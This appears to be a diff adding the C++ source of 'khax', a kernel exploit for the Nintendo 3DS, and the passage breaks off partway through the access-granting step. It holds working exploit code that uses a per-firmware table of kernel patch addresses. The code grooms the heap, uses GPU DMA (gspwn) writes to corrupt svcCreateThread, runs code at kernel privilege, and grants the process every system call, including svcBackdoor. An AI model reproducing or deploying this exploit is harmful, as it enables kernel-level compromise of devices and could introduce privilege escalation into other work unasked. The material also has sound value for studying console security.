--- /dev/null
+#include <3ds.h>\r
+#include <cstddef>\r
+#include <cstdint>\r
+#include <cstdio>\r
+#include <cstdlib>\r
+#include <cstring>\r
+#include <limits>\r
+\r
+#include "khax.h"\r
+#include "khaxinternal.h"\r
+\r
+//------------------------------------------------------------------------------------------------\r
+namespace KHAX\r
+{\r
+ //------------------------------------------------------------------------------------------------\r
+ // Kernel and hardware version information.\r
+ struct VersionData\r
+ {\r
+ // New 3DS?\r
+ bool m_new3DS;\r
+ // Kernel version number\r
+ u32 m_kernelVersion;\r
+ // Nominal version number lower bound (for informational purposes only)\r
+ u32 m_nominalVersion;\r
+ // Patch location in svcCreateThread\r
+ u32 m_threadPatchAddress;\r
+ // Original version of code at m_threadPatchAddress\r
+ static constexpr const u32 m_threadPatchOriginalCode = 0x8DD00CE5;\r
+ // System call unlock patch location\r
+ u32 m_syscallPatchAddress;\r
+ // Kernel virtual address mapping of FCRAM\r
+ u32 m_fcramVirtualAddress;\r
+ // Physical mapping of FCRAM on this machine\r
+ static constexpr const u32 m_fcramPhysicalAddress = 0x20000000;\r
+ // Physical size of FCRAM on this machine\r
+ u32 m_fcramSize;\r
+ // Address of KThread address in kernel (KThread **)\r
+ static constexpr KThread **const m_currentKThreadPtr = reinterpret_cast<KThread **>(0xFFFF9000);\r
+ // Address of KProcess address in kernel (KProcess **)\r
+ static constexpr void **const m_currentKProcessPtr = reinterpret_cast<void **>(0xFFFF9004);\r
+ // Pseudo-handle of the current KProcess.\r
+ static constexpr const Handle m_currentKProcessHandle = 0xFFFF8001;\r
+ // Returned pointers within a KProcess object. This abstracts out which particular\r
+ // version of the KProcess object is in use.\r
+ struct KProcessPointers\r
+ {\r
+ KSVCACL *m_svcAccessControl;\r
+ u32 *m_kernelFlags;\r
+ u32 *m_processID;\r
+ };\r
+ // Creates a KProcessPointers for this kernel version and pointer to the object.\r
+ KProcessPointers(*m_makeKProcessPointers)(void *kprocess);\r
+\r
+ // Convert a user-mode virtual address in the linear heap into a kernel-mode virtual\r
+ // address using the version-specific information in this table entry.\r
+ void *ConvertLinearUserVAToKernelVA(void *address) const;\r
+\r
+ // Retrieve a VersionData for this kernel, or null if not recognized.\r
+ static const VersionData *GetForCurrentSystem();\r
+\r
+ private:\r
+ // Implementation behind m_makeKProcessPointers.\r
+ template <typename KProcessType>\r
+ static KProcessPointers MakeKProcessPointers(void *kprocess);\r
+\r
+ // Table of these.\r
+ static const VersionData s_versionTable[];\r
+ };\r
+\r
+ //------------------------------------------------------------------------------------------------\r
+ // ARM11 kernel hack class.\r
+ class MemChunkHax\r
+ {\r
+ public:\r
+ // Construct using the version information for the current system.\r
+ MemChunkHax(const VersionData *versionData)\r
+ : m_versionData(versionData),\r
+ m_nextStep(1),\r
+ m_corrupted(0),\r
+ m_overwriteMemory(nullptr),\r
+ m_overwriteAllocated(0),\r
+ m_extraLinear(nullptr)\r
+ {\r
+ s_instance = this;\r
+ }\r
+\r
+ // Free memory and such.\r
+ ~MemChunkHax();\r
+\r
+ // Umm, don't copy this class.\r
+ MemChunkHax(const MemChunkHax &) = delete;\r
+ MemChunkHax &operator =(const MemChunkHax &) = delete;\r
+\r
+ // Basic initialization.\r
+ Result Step1_Initialize();\r
+ // Allocate linear memory for the memchunkhax operation.\r
+ Result Step2_AllocateMemory();\r
+ // Free the second and fourth pages of the five.\r
+ Result Step3_SurroundFree();\r
+ // Verify that the freed heap blocks' data matches our expected layout.\r
+ Result Step4_VerifyExpectedLayout();\r
+ // Corrupt svcCreateThread in the ARM11 kernel and create the foothold.\r
+ Result Step5_CorruptCreateThread();\r
+ // Execute svcCreateThread to execute code at SVC privilege.\r
+ Result Step6_ExecuteSVCCode();\r
+ // Grant access to all services.\r
+ Result Step7_GrantServiceAccess();\r
+\r
+ private:\r
+ // SVC-mode entry point thunk (true entry point).\r
+ static Result Step6a_SVCEntryPointThunk();\r
+ // SVC-mode entry point.\r
+ Result Step6b_SVCEntryPoint();\r
+ // Undo the code patch that Step5_CorruptCreateThread did.\r
+ Result Step6c_UndoCreateThreadPatch();\r
+ // Fix the heap corruption caused as a side effect of step 5.\r
+ Result Step6d_FixHeapCorruption();\r
+ // Grant our process access to all system calls, including svcBackdoor.\r
+ Result Step6e_GrantSVCAccess();\r
+ // Flush instruction and data caches.\r
+ Result Step6f_FlushCaches();\r
+ // Patch the process ID to 0. Runs as svcBackdoor.\r
+ static Result Step7a_PatchPID();\r
+ // Restore the original PID. Runs as svcBackdoor.\r
+ static Result Step7b_UnpatchPID();\r
+\r
+ // Helper for dumping memory to SD card.\r
+ template <std::size_t S>\r
+ bool DumpMemberToSDCard(const unsigned char (MemChunkHax::*member)[S], const char *filename) const;\r
+\r
+ // Result returned by hacked svcCreateThread upon success.\r
+ static constexpr const Result STEP6_SUCCESS_RESULT = 0x1337C0DE;\r
+\r
+ // Version information.\r
+ const VersionData *const m_versionData;\r
+ // Next step number.\r
+ int m_nextStep;\r
+ // Whether we are in a corrupted state, meaning we cannot continue if an error occurs.\r
+ int m_corrupted;\r
+\r
+ // Free block structure in the kernel, the one used in the memchunkhax exploit.\r
+ struct HeapFreeBlock\r
+ {\r
+ int m_count;\r
+ HeapFreeBlock *m_next;\r
+ HeapFreeBlock *m_prev;\r
+ int m_unknown1;\r
+ int m_unknown2;\r
+ };\r
+\r
+ // The layout of a memory page.\r
+ union Page\r
+ {\r
+ unsigned char m_bytes[4096];\r
+ HeapFreeBlock m_freeBlock;\r
+ };\r
+\r
+ // The linear memory allocated for the memchunkhax overwrite.\r
+ struct OverwriteMemory\r
+ {\r
+ union\r
+ {\r
+ unsigned char m_bytes[6 * 4096];\r
+ Page m_pages[6];\r
+ };\r
+ };\r
+ OverwriteMemory *m_overwriteMemory;\r
+ unsigned m_overwriteAllocated;\r
+\r
+ // Additional linear memory buffer for temporary purposes.\r
+ union ExtraLinearMemory\r
+ {\r
+ ALIGN(64) unsigned char m_bytes[64];\r
+ // When interpreting as a HeapFreeBlock.\r
+ HeapFreeBlock m_freeBlock;\r
+ };\r
+ // Must be a multiple of 16 for use with gspwn.\r
+ static_assert(sizeof(ExtraLinearMemory) % 16 == 0, "ExtraLinearMemory isn't a multiple of 16 bytes");\r
+ ExtraLinearMemory *m_extraLinear;\r
+\r
+ // Copy of the old ACL\r
+ KSVCACL m_oldACL;\r
+\r
+ // Original process ID.\r
+ u32 m_originalPID;\r
+\r
+ // Buffers for dumped data when debugging.\r
+ #ifdef KHAX_DEBUG_DUMP_DATA\r
+ unsigned char m_savedKProcess[sizeof(KProcess_8_0_0_New)];\r
+ unsigned char m_savedKThread[sizeof(KThread)];\r
+ unsigned char m_savedThreadSVC[0x100];\r
+ #endif\r
+\r
+ // Pointer to our instance.\r
+ static MemChunkHax *volatile s_instance;\r
+ };\r
+\r
+ //------------------------------------------------------------------------------------------------\r
+ // Make an error code\r
+ inline Result MakeError(Result level, Result summary, Result module, Result error);\r
+ enum : Result { KHAX_MODULE = 254 };\r
+ // Check whether this system is a New 3DS.\r
+ Result IsNew3DS(bool *answer, u32 kernelVersionAlreadyKnown = 0);\r
+ // gspwn, meant for reading from or writing to freed buffers.\r
+ Result GSPwn(void *dest, const void *src, std::size_t size, bool wait = true);\r
+ // Given a pointer to a structure that is a member of another structure,\r
+ // return a pointer to the outer structure. Inspired by Windows macro.\r
+ template <typename Outer, typename Inner>\r
+ Outer *ContainingRecord(Inner *member, Inner Outer::*field);\r
+}\r
+\r
+\r
+//------------------------------------------------------------------------------------------------\r
+//\r
+// Class VersionData\r
+//\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Creates a KProcessPointers for this kernel version and pointer to the object.\r
+template <typename KProcessType>\r
+KHAX::VersionData::KProcessPointers KHAX::VersionData::MakeKProcessPointers(void *kprocess)\r
+{\r
+ KProcessType *kproc = static_cast<KProcessType *>(kprocess);\r
+\r
+ KProcessPointers result;\r
+ result.m_svcAccessControl = &kproc->m_svcAccessControl;\r
+ result.m_processID = &kproc->m_processID;\r
+ result.m_kernelFlags = &kproc->m_kernelFlags;\r
+ return result;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// System version table\r
+const KHAX::VersionData KHAX::VersionData::s_versionTable[] =\r
+{\r
+#define KPROC_FUNC(ver) MakeKProcessPointers<KProcess_##ver>\r
+\r
+ // Old 3DS, old address layout\r
+ { false, SYSTEM_VERSION(2, 34, 0), SYSTEM_VERSION(4, 1, 0), 0xEFF83C9F, 0xEFF827CC, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
+ { false, SYSTEM_VERSION(2, 35, 6), SYSTEM_VERSION(5, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
+ { false, SYSTEM_VERSION(2, 36, 0), SYSTEM_VERSION(5, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
+ { false, SYSTEM_VERSION(2, 37, 0), SYSTEM_VERSION(6, 0, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
+ { false, SYSTEM_VERSION(2, 38, 0), SYSTEM_VERSION(6, 1, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
+ { false, SYSTEM_VERSION(2, 39, 4), SYSTEM_VERSION(7, 0, 0), 0xEFF83737, 0xEFF822A8, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
+ { false, SYSTEM_VERSION(2, 40, 0), SYSTEM_VERSION(7, 2, 0), 0xEFF83733, 0xEFF822A4, 0xF0000000, 0x08000000, KPROC_FUNC(1_0_0_Old) },\r
+ // Old 3DS, new address layout\r
+ { false, SYSTEM_VERSION(2, 44, 6), SYSTEM_VERSION(8, 0, 0), 0xDFF8376F, 0xDFF82294, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) },\r
+ { false, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF8383F, 0xDFF82290, 0xE0000000, 0x08000000, KPROC_FUNC(8_0_0_Old) },\r
+ // New 3DS\r
+ { true, SYSTEM_VERSION(2, 45, 5), SYSTEM_VERSION(8, 1, 0), 0xDFF83757, 0xDFF82264, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) }, // untested\r
+ { true, SYSTEM_VERSION(2, 46, 0), SYSTEM_VERSION(9, 0, 0), 0xDFF83837, 0xDFF82260, 0xE0000000, 0x10000000, KPROC_FUNC(8_0_0_New) },\r
+\r
+#undef KPROC_FUNC\r
+};\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Convert a user-mode virtual address in the linear heap into a kernel-mode virtual\r
+// address using the version-specific information in this table entry.\r
+void *KHAX::VersionData::ConvertLinearUserVAToKernelVA(void *address) const\r
+{\r
+ static_assert((std::numeric_limits<std::uintptr_t>::max)() == (std::numeric_limits<u32>::max)(),\r
+ "you're sure that this is a 3DS?");\r
+\r
+ // Need the pointer as an integer.\r
+ u32 addr = reinterpret_cast<u32>(address);\r
+\r
+ // Convert the address to a physical address, since that's how we know the mapping.\r
+ u32 physical = osConvertVirtToPhys(addr);\r
+ if (physical == 0)\r
+ {\r
+ return nullptr;\r
+ }\r
+\r
+ // Verify that the address is within FCRAM.\r
+ if ((physical < m_fcramPhysicalAddress) || (physical - m_fcramPhysicalAddress >= m_fcramSize))\r
+ {\r
+ return nullptr;\r
+ }\r
+\r
+ // Now we can convert.\r
+ return reinterpret_cast<char *>(m_fcramVirtualAddress) + (physical - m_fcramPhysicalAddress);\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Retrieve a VersionData for this kernel, or null if not recognized.\r
+const KHAX::VersionData *KHAX::VersionData::GetForCurrentSystem()\r
+{\r
+ // Get kernel version for comparison.\r
+ u32 kernelVersion = osGetKernelVersion();\r
+\r
+ // Determine whether this is a New 3DS.\r
+ bool isNew3DS;\r
+ if (IsNew3DS(&isNew3DS, kernelVersion) != 0)\r
+ {\r
+ return nullptr;\r
+ }\r
+\r
+ // Search our list for a match.\r
+ for (const VersionData *entry = s_versionTable; entry < &s_versionTable[KHAX_lengthof(s_versionTable)]; ++entry)\r
+ {\r
+ // New 3DS flag must match.\r
+ if ((entry->m_new3DS && !isNew3DS) || (!entry->m_new3DS && isNew3DS))\r
+ {\r
+ continue;\r
+ }\r
+ // Kernel version must match.\r
+ if (entry->m_kernelVersion != kernelVersion)\r
+ {\r
+ continue;\r
+ }\r
+\r
+ return entry;\r
+ }\r
+\r
+ return nullptr;\r
+}\r
+\r
+\r
+//------------------------------------------------------------------------------------------------\r
+//\r
+// Class MemChunkHax\r
+//\r
+\r
+//------------------------------------------------------------------------------------------------\r
+KHAX::MemChunkHax *volatile KHAX::MemChunkHax::s_instance = nullptr;\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Basic initialization.\r
+Result KHAX::MemChunkHax::Step1_Initialize()\r
+{\r
+ if (m_nextStep != 1)\r
+ {\r
+ KHAX_printf("MemChunkHax: Invalid step number %d for Step1_Initialize\n", m_nextStep);\r
+ return MakeError(28, 5, KHAX_MODULE, 1016);\r
+ }\r
+\r
+ // Nothing to do in current implementation.\r
+ ++m_nextStep;\r
+ return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Allocate linear memory for the memchunkhax operation.\r
+Result KHAX::MemChunkHax::Step2_AllocateMemory()\r
+{\r
+ if (m_nextStep != 2)\r
+ {\r
+ KHAX_printf("MemChunkHax: Invalid step number %d for Step2_AllocateMemory\n", m_nextStep);\r
+ return MakeError(28, 5, KHAX_MODULE, 1016);\r
+ }\r
+\r
+ // Allocate the linear memory for the overwrite process.\r
+ u32 address = 0xFFFFFFFF;\r
+ Result result = svcControlMemory(&address, 0, 0, sizeof(OverwriteMemory), MEMOP_ALLOC_LINEAR,\r
+ static_cast<MemPerm>(MEMPERM_READ | MEMPERM_WRITE));\r
+\r
+ KHAX_printf("Step2:res=%08lx addr=%08lx\n", result, address);\r
+\r
+ if (result != 0)\r
+ {\r
+ return result;\r
+ }\r
+\r
+ m_overwriteMemory = reinterpret_cast<OverwriteMemory *>(address);\r
+ m_overwriteAllocated = (1u << 6) - 1; // all 6 pages allocated now\r
+\r
+ // Why didn't we get a page-aligned address?!\r
+ if (address & 0xFFF)\r
+ {\r
+ // Since we already assigned m_overwriteMemory, it'll get freed by our destructor.\r
+ KHAX_printf("Step2:misaligned memory\n");\r
+ return MakeError(26, 7, KHAX_MODULE, 1009);\r
+ }\r
+\r
+ // Allocate extra memory that we'll need.\r
+ m_extraLinear = static_cast<ExtraLinearMemory *>(linearMemAlign(sizeof(*m_extraLinear),\r
+ alignof(*m_extraLinear)));\r
+ if (!m_extraLinear)\r
+ {\r
+ KHAX_printf("Step2:failed extra alloc\n");\r
+ return MakeError(26, 3, KHAX_MODULE, 1011);\r
+ }\r
+ KHAX_printf("Step2:extra=%p\n", m_extraLinear);\r
+\r
+ // OK, we're good here.\r
+ ++m_nextStep;\r
+ return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Free the second and fourth pages of the five.\r
+Result KHAX::MemChunkHax::Step3_SurroundFree()\r
+{\r
+ if (m_nextStep != 3)\r
+ {\r
+ KHAX_printf("MemChunkHax: Invalid step number %d for Step3_AllocateMemory\n", m_nextStep);\r
+ return MakeError(28, 5, KHAX_MODULE, 1016);\r
+ }\r
+\r
+ // We do this because the exploit involves triggering a heap coalesce. We surround a heap\r
+ // block (page) with two freed pages, then free the middle page. By controlling both outside\r
+ // pages, we know their addresses, and can fix up the corrupted heap afterward.\r
+ //\r
+ // Here's what the heap will look like after step 3:\r
+ //\r
+ // ___XX-X-X___\r
+ //\r
+ // _ = unknown (could be allocated and owned by other code)\r
+ // X = allocated\r
+ // - = allocated then freed by us\r
+ //\r
+ // In step 4, we will free the second page:\r
+ //\r
+ // ___X--X-X___\r
+ //\r
+ // Heap coalescing will trigger due to two adjacent free blocks existing. The fifth page's\r
+ // "previous" pointer will be set to point to the second page rather than the third. We will\r
+ // use gspwn to make that overwrite kernel code instead.\r
+ //\r
+ // We have 6 pages to ensure that we have surrounding allocated pages, giving us a little\r
+ // sandbox to play in. In particular, we can use this design to determine the address of the\r
+ // next block--by controlling the location of the next block.\r
+ u32 dummy;\r
+\r
+ // Free the third page.\r
+ if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[2]), 0,\r
+ sizeof(m_overwriteMemory->m_pages[2]), MEMOP_FREE, static_cast<MemPerm>(0)))\r
+ {\r
+ KHAX_printf("Step3:svcCM1 failed:%08lx\n", result);\r
+ return result;\r
+ }\r
+ m_overwriteAllocated &= ~(1u << 2);\r
+\r
+ // Free the fifth page.\r
+ if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[4]), 0,\r
+ sizeof(m_overwriteMemory->m_pages[4]), MEMOP_FREE, static_cast<MemPerm>(0)))\r
+ {\r
+ KHAX_printf("Step3:svcCM2 failed:%08lx\n", result);\r
+ return result;\r
+ }\r
+ m_overwriteAllocated &= ~(1u << 4);\r
+\r
+ // Attempt to write to remaining pages.\r
+ //KHAX_printf("Step2:probing page [0]\n");\r
+ *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[0].m_bytes[0]) = 0;\r
+ //KHAX_printf("Step2:probing page [1]\n");\r
+ *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[1].m_bytes[0]) = 0;\r
+ //KHAX_printf("Step2:probing page [3]\n");\r
+ *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[3].m_bytes[0]) = 0;\r
+ //KHAX_printf("Step2:probing page [5]\n");\r
+ *static_cast<volatile u8 *>(&m_overwriteMemory->m_pages[5].m_bytes[0]) = 0;\r
+ KHAX_printf("Step3:probing done\n");\r
+\r
+ // Done.\r
+ ++m_nextStep;\r
+ return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Verify that the freed heap blocks' data matches our expected layout.\r
+Result KHAX::MemChunkHax::Step4_VerifyExpectedLayout()\r
+{\r
+ if (m_nextStep != 4)\r
+ {\r
+ KHAX_printf("MemChunkHax: Invalid step number %d for Step4_VerifyExpectedLayout\n", m_nextStep);\r
+ return MakeError(28, 5, KHAX_MODULE, 1016);\r
+ }\r
+\r
+ // Copy the first freed page (third page) out to read its heap metadata.\r
+ std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear));\r
+\r
+ if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2],\r
+ sizeof(*m_extraLinear)))\r
+ {\r
+ KHAX_printf("Step4:gspwn failed:%08lx\n", result);\r
+ return result;\r
+ }\r
+\r
+ // Debug information about the memory block\r
+ KHAX_printf("Step4:[2]u=%p k=%p\n", &m_overwriteMemory->m_pages[2], m_versionData->\r
+ ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]));\r
+ KHAX_printf("Step4:[2]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next,\r
+ m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count);\r
+\r
+ // The next page from the third should equal the fifth page.\r
+ if (m_extraLinear->m_freeBlock.m_next != m_versionData->ConvertLinearUserVAToKernelVA(\r
+ &m_overwriteMemory->m_pages[4]))\r
+ {\r
+ KHAX_printf("Step4:[2]->next != [4]\n");\r
+ KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_next,\r
+ m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]),\r
+ &m_overwriteMemory->m_pages[4]);\r
+ return MakeError(26, 5, KHAX_MODULE, 1014);\r
+ }\r
+\r
+ // Copy the second freed page (fifth page) out to read its heap metadata.\r
+ std::memset(m_extraLinear, 0xCC, sizeof(*m_extraLinear));\r
+\r
+ if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[4],\r
+ sizeof(*m_extraLinear)))\r
+ {\r
+ KHAX_printf("Step4:gspwn failed:%08lx\n", result);\r
+ return result;\r
+ }\r
+\r
+ KHAX_printf("Step4:[4]u=%p k=%p\n", &m_overwriteMemory->m_pages[4], m_versionData->\r
+ ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[4]));\r
+ KHAX_printf("Step4:[4]n=%p p=%p c=%d\n", m_extraLinear->m_freeBlock.m_next,\r
+ m_extraLinear->m_freeBlock.m_prev, m_extraLinear->m_freeBlock.m_count);\r
+\r
+ // The previous page from the fifth should equal the third page.\r
+ if (m_extraLinear->m_freeBlock.m_prev != m_versionData->ConvertLinearUserVAToKernelVA(\r
+ &m_overwriteMemory->m_pages[2]))\r
+ {\r
+ KHAX_printf("Step4:[4]->prev != [2]\n");\r
+ KHAX_printf("Step4:%p %p %p\n", m_extraLinear->m_freeBlock.m_prev,\r
+ m_versionData->ConvertLinearUserVAToKernelVA(&m_overwriteMemory->m_pages[2]),\r
+ &m_overwriteMemory->m_pages[2]);\r
+ return MakeError(26, 5, KHAX_MODULE, 1014);\r
+ }\r
+\r
+ // Validation successful\r
+ ++m_nextStep;\r
+ return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Corrupt svcCreateThread in the ARM11 kernel and create the foothold.\r
+Result KHAX::MemChunkHax::Step5_CorruptCreateThread()\r
+{\r
+ if (m_nextStep != 5)\r
+ {\r
+ KHAX_printf("MemChunkHax: Invalid step number %d for Step5_CorruptCreateThread\n", m_nextStep);\r
+ return MakeError(28, 5, KHAX_MODULE, 1016);\r
+ }\r
+\r
+ // Read the memory page we're going to gspwn.\r
+ if (Result result = GSPwn(m_extraLinear, &m_overwriteMemory->m_pages[2].m_freeBlock,\r
+ sizeof(*m_extraLinear)))\r
+ {\r
+ KHAX_printf("Step5:gspwn read failed:%08lx\n", result);\r
+ return result;\r
+ }\r
+\r
+ // Adjust the "next" pointer to point to within the svcCreateThread system call so as to\r
+ // corrupt certain instructions. The result will be that calling svcCreateThread will result\r
+ // in executing our code.\r
+ // NOTE: The overwrite is modifying the "m_prev" field, so we subtract the offset of m_prev.\r
+ // That is, the overwrite adds this offset back in.\r
+ m_extraLinear->m_freeBlock.m_next = reinterpret_cast<HeapFreeBlock *>(\r
+ m_versionData->m_threadPatchAddress - offsetof(HeapFreeBlock, m_prev));\r
+\r
+ // Do the GSPwn, the actual exploit we've been waiting for.\r
+ if (Result result = GSPwn(&m_overwriteMemory->m_pages[2].m_freeBlock, m_extraLinear,\r
+ sizeof(*m_extraLinear)))\r
+ {\r
+ KHAX_printf("Step5:gspwn exploit failed:%08lx\n", result);\r
+ return result;\r
+ }\r
+\r
+ // The heap is now corrupted in two ways (Step6 explains why two ways).\r
+ m_corrupted += 2;\r
+\r
+ KHAX_printf("Step5:gspwn succeeded; heap now corrupt\n");\r
+\r
+ // Corrupt svcCreateThread by freeing the second page. The kernel will coalesce the third\r
+ // page into the second page, and in the process zap an instruction pair in svcCreateThread.\r
+ u32 dummy;\r
+ if (Result result = svcControlMemory(&dummy, reinterpret_cast<u32>(&m_overwriteMemory->m_pages[1]),\r
+ 0, sizeof(m_overwriteMemory->m_pages[1]), MEMOP_FREE, static_cast<MemPerm>(0)))\r
+ {\r
+ KHAX_printf("Step5:free to pwn failed:%08lx\n", result);\r
+ return result;\r
+ }\r
+ m_overwriteAllocated &= ~(1u << 1);\r
+\r
+ // We have an additional layer of instability because of the kernel code overwrite.\r
+ ++m_corrupted;\r
+\r
+ KHAX_printf("Step5:svcCreateThread now hacked\n");\r
+\r
+ ++m_nextStep;\r
+ return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Execute svcCreateThread to execute code at SVC privilege.\r
+Result KHAX::MemChunkHax::Step6_ExecuteSVCCode()\r
+{\r
+ if (m_nextStep != 6)\r
+ {\r
+ KHAX_printf("MemChunkHax: Invalid step number %d for Step6_ExecuteSVCCode\n", m_nextStep);\r
+ return MakeError(28, 5, KHAX_MODULE, 1016);\r
+ }\r
+\r
+ // Call svcCreateThread such that r0 is the desired exploit function. Note that the\r
+ // parameters to the usual system call thunk are rearranged relative to the actual system call\r
+ // - the thread priority parameter is actually the one that goes into r0. In addition, we\r
+ // want to pass other parameters that make for an illegal thread creation request, because the\r
+ // rest of the thread creation SVC occurs before the hacked code gets executed. We want the\r
+ // thread creation request to fail, then the hack to grant us control. Processor ID\r
+ // 0x7FFFFFFF seems to do the trick here.\r
+ Handle dummyHandle;\r
+ Result result = svcCreateThread(&dummyHandle, nullptr, 0, nullptr, reinterpret_cast<s32>(\r
+ Step6a_SVCEntryPointThunk), (std::numeric_limits<s32>::max)());\r
+\r
+ KHAX_printf("Step6:SVC mode returned: %08lX %d\n", result, m_nextStep);\r
+\r
+ if (result != STEP6_SUCCESS_RESULT)\r
+ {\r
+ // If the result was 0, something actually went wrong.\r
+ if (result == 0)\r
+ {\r
+ result = MakeError(27, 11, KHAX_MODULE, 1023);\r
+ }\r
+\r
+ return result;\r
+ }\r
+\r
+#ifdef KHAX_DEBUG\r
+ char oldACLString[KHAX_lengthof(m_oldACL) * 2 + 1];\r
+ char *sp = oldACLString;\r
+ for (unsigned char b : m_oldACL)\r
+ {\r
+ *sp++ = "0123456789abcdef"[b >> 4];\r
+ *sp++ = "0123456789abcdef"[b & 15];\r
+ }\r
+ *sp = '\0';\r
+\r
+ KHAX_printf("oldACL:%s\n", oldACLString);\r
+#endif\r
+\r
+ ++m_nextStep;\r
+ return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// SVC-mode entry point thunk (true entry point).\r
+#ifndef _MSC_VER\r
+__attribute__((__naked__))\r
+#endif\r
+Result KHAX::MemChunkHax::Step6a_SVCEntryPointThunk()\r
+{\r
+ __asm__ volatile("add sp, sp, #8");\r
+\r
+ register Result result __asm__("r0") = s_instance->Step6b_SVCEntryPoint();\r
+\r
+ __asm__ volatile("ldr pc, [sp], #4" : : "r"(result));\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// SVC-mode entry point.\r
+#ifndef _MSC_VER\r
+__attribute__((__noinline__))\r
+#endif\r
+Result KHAX::MemChunkHax::Step6b_SVCEntryPoint()\r
+{\r
+ if (Result result = Step6c_UndoCreateThreadPatch())\r
+ {\r
+ return result;\r
+ }\r
+ if (Result result = Step6d_FixHeapCorruption())\r
+ {\r
+ return result;\r
+ }\r
+ if (Result result = Step6e_GrantSVCAccess())\r
+ {\r
+ return result;\r
+ }\r
+ if (Result result = Step6f_FlushCaches())\r
+ {\r
+ return result;\r
+ }\r
+\r
+ return STEP6_SUCCESS_RESULT;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Undo the code patch that Step5_CorruptCreateThread did.\r
+Result KHAX::MemChunkHax::Step6c_UndoCreateThreadPatch()\r
+{\r
+ // Unpatch svcCreateThread. NOTE: Misaligned pointer.\r
+ *reinterpret_cast<u32 *>(m_versionData->m_threadPatchAddress) = m_versionData->\r
+ m_threadPatchOriginalCode;\r
+ --m_corrupted;\r
+\r
+ return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Fix the heap corruption caused as a side effect of step 5.\r
+Result KHAX::MemChunkHax::Step6d_FixHeapCorruption()\r
+{\r
+ // The kernel's heap coalesce code seems to be like the following for the case we triggered,\r
+ // where we're freeing a block before ("left") an adjacent block ("right"):\r
+ //\r
+ // (1) left->m_count += right->m_count;\r
+ // (2) left->m_next = right->m_next;\r
+ // (3) right->m_next->m_prev = left;\r
+ //\r
+ // (1) should have happened normally. (3) is what we exploit: we set right->m_next to point\r
+ // to where we want to patch, such that the write to m_prev is the desired code overwrite.\r
+ // (2) is copying the value we put into right->m_next to accomplish (3).\r
+ //\r
+ // As a result of these shenanigans, we have two fixes to do to the heap: fix left->m_next to\r
+ // point to the correct next free block, and do the write to right->m_next->m_prev that didn't\r
+ // happen because it instead was writing to kernel code.\r
+\r
+ // "left" is the second overwrite page.\r
+ auto left = static_cast<HeapFreeBlock *>(m_versionData->ConvertLinearUserVAToKernelVA(\r
+ &m_overwriteMemory->m_pages[1].m_freeBlock));\r
+ // "right->m_next" is the fifth overwrite page.\r
+ auto rightNext = static_cast<HeapFreeBlock *>(m_versionData->ConvertLinearUserVAToKernelVA(\r
+ &m_overwriteMemory->m_pages[4].m_freeBlock));\r
+\r
+ // Do the two fixups.\r
+ left->m_next = rightNext;\r
+ --m_corrupted;\r
+\r
+ rightNext->m_prev = left;\r
+ --m_corrupted;\r
+\r
+ return 0;\r
+}\r
+\r
+//------------------------------------------------------------------------------------------------\r
+// Grant our process access to all system calls, including svcBackdoor.\r
+Result KHAX::MemChunkHax::Step6e_GrantSVCAccess()\r
+{\r
+ // Everything, except nonexistent services 00, 7E or 7F.\r
+ static constexpr const char s_fullAccessACL[] = "\xFE\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x3F";\r
+\r
+ // Get the KThread pointer. Its type doesn't vary, so far.\r
+ KThread *kthread = *m_versionData->m_currentKThreadPtr;\r
+\r
+ // Debug dumping.\r
+#ifdef KHAX_DEBUG_DUMP_DATA\r
+ // Get the KProcess pointer, whose type varies by kernel version.\r
+ void *kprocess = *m_versionData->m_currentKProcessPtr;\r
+\r
+ void *svcData = reinterpret_cast<void *>(reinterpret_cast<std::uintptr_t>(kthread->m_svcRegisterState) & ~std::uintptr_t(0xFF));\r
+ std::memcpy(m_savedKProcess, kprocess, sizeof(m_savedKProcess));\r
+ std::memcpy(m_savedKThread, kthread, sizeof(m_savedKThread));\r
